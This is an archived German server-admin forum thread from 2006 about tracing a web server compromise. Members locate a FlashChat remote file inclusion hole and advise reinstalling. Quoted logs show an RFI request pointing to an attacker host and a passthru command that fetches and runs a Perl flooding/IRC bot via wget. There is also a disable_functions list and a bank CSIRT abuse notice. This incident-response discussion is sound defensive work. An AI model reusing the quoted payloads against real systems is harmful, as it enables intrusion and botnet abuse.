Hackangriffe mit Datenupload, aber wo sind die?!

Post by **stamos** » 2006-09-21 19:27

Hallo zusammen,

in meiner Apache Error-Log habe ich folgende einträge aufgefunden:

--21:00:12--  http://www.eks-darmstadt.de/administrator/components/com_mambelfish/images/dos.txt
           => `dos.txt'
Resolving www.eks-darmstadt.de... 213.203.201.233
Connecting to www.eks-darmstadt.de|213.203.201.233|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,388 (9.2K) [text/plain]

    0K .........                                             100%  772.82 KB/s

21:00:12 (772.82 KB/s) - `dos.txt' saved [9388/9388]

--21:00:54--  http://www.eks-darmstadt.de/administrator/components/com_mambelfish/images/dos.txt
           => `dos.txt'
Resolving www.eks-darmstadt.de... 213.203.201.233
Connecting to www.eks-darmstadt.de|213.203.201.233|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,388 (9.2K) [text/plain]

    0K .........                                             100%    1.08 MB/s

21:00:54 (1.08 MB/s) - `dos.txt' saved [9388/9388]

--21:01:36--  http://www.eks-darmstadt.de/administrator/components/com_mambelfish/images/dos.txt
           => `dos.txt'
Resolving www.eks-darmstadt.de... 213.203.201.233
Connecting to www.eks-darmstadt.de|213.203.201.233|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,388 (9.2K) [text/plain]

    0K .........                                             100%    1.04 MB/s

21:01:41 (1.04 MB/s) - `dos.txt' saved [9388/9388]

--21:02:22--  http://www.eks-darmstadt.de/administrator/components/com_mambelfish/images/dos.txt
           => `dos.txt'
Resolving www.eks-darmstadt.de... 213.203.201.233
Connecting to www.eks-darmstadt.de|213.203.201.233|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,388 (9.2K) [text/plain]

    0K .........                                             100%    1.13 MB/s

21:02:22 (1.13 MB/s) - `dos.txt' saved [9388/9388]

--21:03:04--  http://www.eks-darmstadt.de/administrator/components/com_mambelfish/images/dos.txt
           => `dos.txt'
Resolving www.eks-darmstadt.de... 213.203.201.233
Connecting to www.eks-darmstadt.de|213.203.201.233|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,388 (9.2K) [text/plain]

    0K .........                                             100%    1.08 MB/s

21:03:04 (1.08 MB/s) - `dos.txt' saved [9388/9388]

--21:03:46--  http://www.eks-darmstadt.de/administrator/components/com_mambelfish/images/dos.txt
           => `dos.txt'
Resolving www.eks-darmstadt.de... 213.203.201.233
Connecting to www.eks-darmstadt.de|213.203.201.233|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,388 (9.2K) [text/plain]

    0K .........                                             100%    1.07 MB/s

21:03:54 (1.07 MB/s) - `dos.txt' saved [9388/9388]

--21:04:29--  http://www.eks-darmstadt.de/administrator/components/com_mambelfish/images/dos.txt
           => `dos.txt'
Resolving www.eks-darmstadt.de... 213.203.201.233
Connecting to www.eks-darmstadt.de|213.203.201.233|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,388 (9.2K) [text/plain]

    0K .........                                             100%    1.07 MB/s

21:04:30 (1.07 MB/s) - `dos.txt' saved [9388/9388]

laut log wurden die Dateien gesaved, aber wo liegen diese nun auf meinem Server?!

weiterhin habe ich bei einer Top-Anzeige ungewöhnlich hohe auslastungen von Perl bis ich einen Server-Neustart mache, jedoch habe ich keine Perl-Scripte auf meinem Server instaliert?!

Kann es sein, dass jemand versucht über Perl-Dateien hochzuladen um dann einen Hack zu starten?

Die IP habe ich per IPtables geblockt, doch wo sind die upgeloadeten dateien damit ich diese löschen kann?!

Post by **theomega** » 2006-09-21 19:39

Was haste für Software installiert? Also PHP mäßig? Mambo (oder Forks), PHPNuke (oder Forks) PHPBB (Welche Version?). Ich würde nach der Datei dos.txt einfach mal suchen. Evtl ist sie in /tmp sonst (wenn Confixx installier ist im ./phptmp/ des entsprechenden Benutzers, je nach Softwareconfigruation. Aber es sollte ja nicht so schwer sein mit "find" die Datei zu finden!

[Offtopic]
Wieder ein Punkt an die Portugiesen
[/Offtopic]

Post by **stamos** » 2006-09-21 19:48

ich habe PHP 4.4.4 und ein vBulletin 3.5.4 zu laufen, das alles auf Plesk 8.0.1 von 1&1.

Das system ist frisch, hatte vor ein paar Tagen ein Re-Init machen müssen weil irgendsoein Depp ein Rootkit installiert hatte (über ein Bilder-Upload Script vom Forum welches mittlerweile aber im Müll gelandet ist).

Im tmp ist nichts, ich hab jetzt mal über Plesk die cgi-Funktion deaktiviert und die Dateien sind absolut nicht zu finden.... :roll:

Post by **theomega** » 2006-09-21 19:50

haste mit "find" gesucht?

Post by **stamos** » 2006-09-21 20:04

ja sogar mit wildcards, nichts zu finden, vielleicht wurde die datei doch nicht gespeichert?!

schau selbst:

Code: Select all

find . -name dos*
./usr/share/vim/vim63/ftplugin/dosbatch.vim
./usr/share/vim/vim63/syntax/dosbatch.vim
./usr/share/vim/vim63/syntax/dosini.vim
./usr/lib/perl5/5.8.6/x86_64-linux-thread-multi/CORE/dosish.h
find: ./proc/11556/task: No such file or directory
find: ./proc/11556/fd: No such file or directory
./dev/dos_hda0
./dev/dos_cd0
./dev/dos_cd1
./dev/dos_hda
./dev/dos_hda1
./dev/dos_hda10
./dev/dos_hda11
./dev/dos_hda12
./dev/dos_hda13
./dev/dos_hda14
./dev/dos_hda15
./dev/dos_hda2
./dev/dos_hda3
./dev/dos_hda4
./dev/dos_hda5
./dev/dos_hda6
./dev/dos_hda7
./dev/dos_hda8
./dev/dos_hda9
./dev/dos_hdb
./dev/dos_hdb0
./dev/dos_hdb1
./dev/dos_hdb10
./dev/dos_hdb11
./dev/dos_hdb12
./dev/dos_hdb13
./dev/dos_hdb14
./dev/dos_hdb15
./dev/dos_hdb2
./dev/dos_hdb3
./dev/dos_hdb4
./dev/dos_hdb5
./dev/dos_hdb6
./dev/dos_hdb7
./dev/dos_hdb8
./dev/dos_hdb9
./lib64/evms/2.3.3/dos-1.1.10.so

Post by **theomega** » 2006-09-21 20:08

Hy,
dann such doch nach dem Inhalt der Dateien, das dürfte nur sehr lange dauern. Einfacher wäre du betrachtest den apache-log nochmal genauer, dort müsste irgendwo das request drin sein das die ganze sachen anströßt, so bekommste auch gleich raus welches Script die Lücke produziert. Einfach die logdateien mal nach wget, cd, perl o.ä. durchgreppen. Alles vorausgesetzt der Eindringling hat die Logdatei nicht gelöscht.

Post by **rootsvr** » 2006-09-21 21:22

Hast Du deine mambelfish componente auf dem neusten Stand?

http://www.security.nnov.ru/Ndocument964.html

Da kommt es rein würde ich tippen.

Ansonsten beim nächsten reinstall jede Software vorher im Netz suchen, nach Sicherheitslücken gucken und die neusten Versionen von Software UND Plugins einspielen..

edit.. sorry.. Du bist nicht eks-darmstadt oder? dann war ich falsch.
ansonsten hat omega recht.. nach "wget" und co in apache.logs suchen bringt meist die Lücke zu tage..

Post by **stamos** » 2006-09-21 22:01

nein ich bin ja eben nicht eks-darmstadt ;)

weiterhin kamen noch ähnliche einträge von http://pwned.iespana.es

das einzige was ich dazu in den Logs gefunden habe ist folgendes:

Code: Select all

127.0.0.1 - - [21/Sep/2006:13:06:15 +0200] "GET /?dir%5binc%5d=http://pwned.iespana.es/sa.txt%3f HTTP/1.1" 200 266 "-" "libwww-perl/5.803"
127.0.0.1 - - [21/Sep/2006:13:06:25 +0200] "GET /?dir%5binc%5d=http://pwned.iespana.es/sa.txt%3f HTTP/1.1" 200 266 "-" "libwww-perl/5.803"
127.0.0.1 - - [21/Sep/2006:13:06:28 +0200] "GET /?dir%5binc%5d=http://pwned.iespana.es/sa.txt%3f HTTP/1.1" 200 266 "-" "libwww-perl/5.803"
85.214.54.110 - - [21/Sep/2006:13:19:10 +0200] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 303 "-" "-"
85.214.54.110 - - [21/Sep/2006:13:19:10 +0200] "GET /" 400 985 "-" "-"
127.0.0.1 - - [21/Sep/2006:13:30:43 +0200] "GET /sample.html HTTP/1.1" 404 1040 "-" "libwww-perl/5.803"

die besagten Dateien, z.b. sa.txt sind aber eben nicht auf meinem server.

da die angriffe aber offensichtlich über Perl kamen, ist mit dem abschalten der cgi-fähigkeit für das betroffene web über plesk das problem behoben, denke ich?

Post by **aubergine** » 2006-09-21 22:25

Die Dateien die du suchst führt Perl grade (wie jedes andere Script) vom RAM aus, aus.

ps aux | grep lolz.txt Sollte dir was ausliefern.

Schau dir die sa.txt an dann weiste auch was gemacht wurde.

Im IRC besuchen kannste ihn auch...

Post by **stamos** » 2006-09-21 22:39

naja, im IRC kann ich den programmierer des scriptes besuchen, ich glaube das hilft nicht weiter :D

ps aux gibt aus:

Code: Select all

root      7482  0.0  0.0   2880   692 pts/1    R+   22:38   0:00 grep lolz.txt

das sagt mir nicht viel!?

Post by **elias5000** » 2006-09-21 23:24

stamos wrote: ps aux gibt aus:
Code: Select all
root      7482  0.0  0.0   2880   692 pts/1    R+   22:38   0:00 grep lolz.txt
das sagt mir nicht viel!?

Du meinst wohl "ps aux |grep lolz.txt gibt aus:"...

lolz.txt kann übrigens mehr als das dos.txt. Während dos.txt nur UDP-Flooding für (vermutlich) DDoS kann, kann lolz.txt Portscans machen und TCP-Flooding.

Die Scripts werden über den Webserver gestartet, weshalb sie nicht nach einem Reboot mit gestartet werden. Die hohe Load resultiert aus den Floods, für die die Scripts worker forken.
Update: Die hohe Load wird auch durch die nicht gerade Ressourcenschonende Implemetierung der Kommunikation mit dem IRC-Server zur Kontrolle verursacht.

Edit: lolz.txt ist wirklich besser. Es hat zusätzlich noch einen Scanner, der versucht weitere Webserver zu finden, auf denen er das Script ebenfalls ausführen kann.

nochmal Edit: Wer schon immer mal eine Kopiervorlage für ein Multithread-Programm in Perl haben wollte, sollte sich die beiden Scripts unbedingt mal ansehen.

Post by **elias5000** » 2006-09-21 23:32

Der Aufruf war per "GET /?dir%5binc%5d=http://pwned.iespana.es/sa.txt%3f",
was decoded "/?dir[inc]=http://pwned.iespana.es/sa.txt$".

Also wird es per /?dir[inc]= eingeschleust.
Bei Google finde ich dazu recht weit oben ein Advisory vom 4.9.06 zu FlashChat
http://secunia.com/advisories/21756/

Post by **stamos** » 2006-09-22 09:41

elias5000 wrote:Also wird es per /?dir[inc]= eingeschleust.
Bei Google finde ich dazu recht weit oben ein Advisory vom 4.9.06 zu FlashChat
http://secunia.com/advisories/21756/

du hast recht. ich hatte ein flashChat in meinem Forum-Verzeichnis. Dies war zwar schon lange deaktiviert aber die Dateien lagen immernoch herum. Nun hab ich es gelöscht und die Angriffe bleiben bis jetzt aus.

Wieder was gelernt: nicht einfach blind jede Software (FlashChat & PhotoBlogLite für vBulletin) installieren.

danke euch :)

Post by **jaylk** » 2006-09-22 14:43

stamos wrote:da die angriffe aber offensichtlich über Perl kamen, ist mit dem abschalten der cgi-fähigkeit für das betroffene web über plesk das problem behoben, denke ich?

Nein, leider nicht. Unter anderem wurde das hier ausgeführt:

Code: Select all

passthru('cd /tmp;wget http://pwned.iespana.es/lolz.txt;perl lolz.txt;rm -f lolz.txt*');

Klartext: Lade lolz.txt nach tmp, führe Perl mit lolz.txt aus, lösche lolz.txt.

Das Ganze sieht dem Angriff auf Joomla über facileforms sehr ähnlich. (Die Suche nach 'facileforms' gibt eine Menge recht aktuelle Funde.)

Es ist übrigens nicht auszuschließen, dass sich dieses Biest mit einem Cronjob stündlich neu installiert. Perl für einen Webauftritt abzuschalten, nützt da überhaupt nichts, denn der Aufruf wird über eine Shell ausgeführt; siehe oben.

Das Problem ist, dass du nicht weißt, was sonst noch alles passiert ist. Es könnte durchaus sein, dass der Angreifer inzwischen root-Rechte hat und seine Aktivitäten tarnt, während du dich noch an der Oberfläche mit den Skripten beschäftigst. Du könntest ihm meilenweit hinterher sein, und das Problem ist, du weißt es einfach nicht. Eine Shell hatte er ja schon, und mit den passenden Exploits kann man da unter Umständen noch tiefer eindringen und die Spuren verwischen.

Fazit: Der Server ist kompromittiert und sollte neu aufgesetzt werden; das haben wir jedenfalls nach dem sehr ähnlichen Angriff auf facileforms gemacht. Vom Netz nehmen, mit Rettungskonsole Spuren sichern, neu einrichten.

Für die Zukunft könnte es helfen, einige PHP-Funktionen in der php.ini zu sperren; so als erster Denkanstoß vielleicht:

Code: Select all

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

vgl. dazu: http://www.heise.de/newsticker/meldung/73837

Post by **derfalk** » 2006-09-22 15:34

oder mod_security installieren ...

Post by **rootsvr** » 2006-09-22 15:53

Was aber auch nur eine zusätzliche Schicht ist und nicht automatisch alle Angriffe verhindert.

-->Neu installieren solltest Du trotzdem.

Post by **stamos** » 2006-09-22 18:10

tja, dann mache ich dies mal, mittlerweile bin ich Profi im Server-Initialisieren :D

danke euch für die zahlreichen Hinweise :)

Post by **stamos** » 2006-09-22 22:42

und so sieht dann die post aus, die man bekommt wen man opfer einer hackers wurde:

Dear Sir/Madam

INDENTIFICATION:

This e-mail was sent to you by Banco do Brazil's Computer Security Incident Response Team (CSIRT). Banco do Brasil is the largest bank in Brazil, South America. Our web site is located at http://www.bb.com.br and our customer financial service can be accessed at https://www2.bancobrasil.com.br/aapf/aai/login.pbk.

THE INCIDENT:

Some crackers are using *your* infrastructure to host a trojan horse designed to steal sensitive information (office branch, account number and PIN) from our clients.

How the fraud occurs:

1. Spam mail is sent to random e-mail addresses in Brazil (not necessarily using your computers)

2. The e-mail sends the victims where the trojan is located (PLEASE SEE BELOW).

3. The victim's computer is compromised by the trojan horse

4. The trojan horse acquires sensitive information and sends the data to the cracker.

5. The cracker then impersonates our client in the official Banco do Brasil Internet banking page and frauds the account.

We are requesting that you take every possible action to prevent the use of your services in this scam.

This case is under investigation by law enforcement agencies in Brazil. In the meantime we need your help to block/disable this site/account. By doing this we can minimize the extension of the security incident. Additionally, we would welcome any information/log/archive/scrips concerning this case.

Best regards,

Banco do Brasil
CSIRT - Computer Security Incident Response Team
abuse@bb.com.br http://www.bb.com.br

das darf ja wohl alles nicht wahr sein, ich hoffe der Hacker wird vom Bus erfasst :twisted:

RootForum Community

Hackangriffe mit Datenupload, aber wo sind die?!

Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!

Re: Hackangriffe mit Datenupload, aber wo sind die?!